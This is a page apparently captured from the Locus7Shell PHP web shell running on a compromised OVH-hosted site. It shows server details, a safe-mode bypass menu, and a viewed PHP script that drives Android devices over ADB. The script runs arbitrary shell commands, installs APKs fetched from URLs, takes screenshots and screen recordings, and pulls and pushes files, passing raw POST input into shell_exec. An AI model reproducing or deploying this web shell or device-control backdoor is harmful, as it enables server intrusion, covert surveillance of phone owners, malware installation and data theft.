![]() | |
---|---|
Software: Apache. PHP/5.4.45 uname -a: Linux webm056.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue uid=243112(mycochar) gid=100(users) groups=100(users) Safe-mode: OFF (not secure) /home/mycochar/www/image/photo/adb/ drwxr-xr-x |
Viewing file: Select action/file-type:
<?php // Helper function to execute adb commands. // Adjust the adb path if it isn’t in your system's PATH. function runADB($command) { return shell_exec("./platform-tools/adb $command 2>&1"); } if ($_SERVER['REQUEST_METHOD'] == 'POST') { $task = $_POST['task'] ?? ''; $data = $_POST['data'] ?? ''; $response = "Invalid Task"; switch ($task) { case 'connect': // Connect using provided IP:port (e.g., 192.168.x.x:5555) $response = runADB("connect $data"); break; case 'list_apps': $response = runADB("shell pm list packages"); break; case 'install_apk': // $data contains the APK URL $apkUrl = $data; $apkPath = "/tmp/app.apk"; $apkContent = @file_get_contents($apkUrl); if ($apkContent === FALSE) { $response = "Failed to download APK from URL."; } else { file_put_contents($apkPath, $apkContent); $response = runADB("install $apkPath"); } break; case 'screenshot': $response = runADB("shell screencap -p /sdcard/screenshot.png"); runADB("pull /sdcard/screenshot.png ./screenshot.png"); $response .= "\nScreenshot pulled to ./screenshot.png"; break; case 'screen_record': $response = runADB("shell screenrecord /sdcard/record.mp4"); runADB("pull /sdcard/record.mp4 ./record.mp4"); $response .= "\nScreen recording pulled to ./record.mp4"; break; case 'search_file': // Expect data in the form "search_directory||filename_pattern" if(strpos($data, "||") !== false) { list($searchDir, $pattern) = explode("||", $data); $response = runADB("shell find $searchDir -name '$pattern'"); } else { $response = "Invalid search parameters."; } break; case 'run_command': $response = runADB("shell $data"); break; case 'upload_file': // Handle file upload (push file to device) if (isset($_FILES['upload_file']) && $_FILES['upload_file']['error'] === 0) { $uploadedFile = $_FILES['upload_file']['tmp_name']; $destPath = $_POST['dest_path'] ?? '/sdcard/'; $tempPath = "/tmp/" . basename($_FILES['upload_file']['name']); if (move_uploaded_file($uploadedFile, $tempPath)) { $response = runADB("push $tempPath $destPath"); unlink($tempPath); } else { $response = "Failed to process the uploaded file."; } } else { $response = "No file uploaded or an upload error occurred."; } break; case 'download_file': // Download file from device using adb pull $remoteFile = $_POST['remote_file'] ?? ''; if (!empty($remoteFile)) { $localFile = "/tmp/" . basename($remoteFile); $response = runADB("pull $remoteFile $localFile"); $response .= "\nFile downloaded to $localFile"; } else { $response = "No remote file specified."; } break; case 'list_dir': // List directory contents $dirPath = $data; $response = runADB("shell ls -la $dirPath"); break; default: $response = "Unknown task."; break; } echo $response; }
|
Useful Commands
|
Php Safe-Mode Bypass (Read Files)
|
--[ x2300 Locus7Shell v. 1.0a beta Modded by #!physx^ | www.LOCUS7S.com | Generation time: 0.0057 ]-- |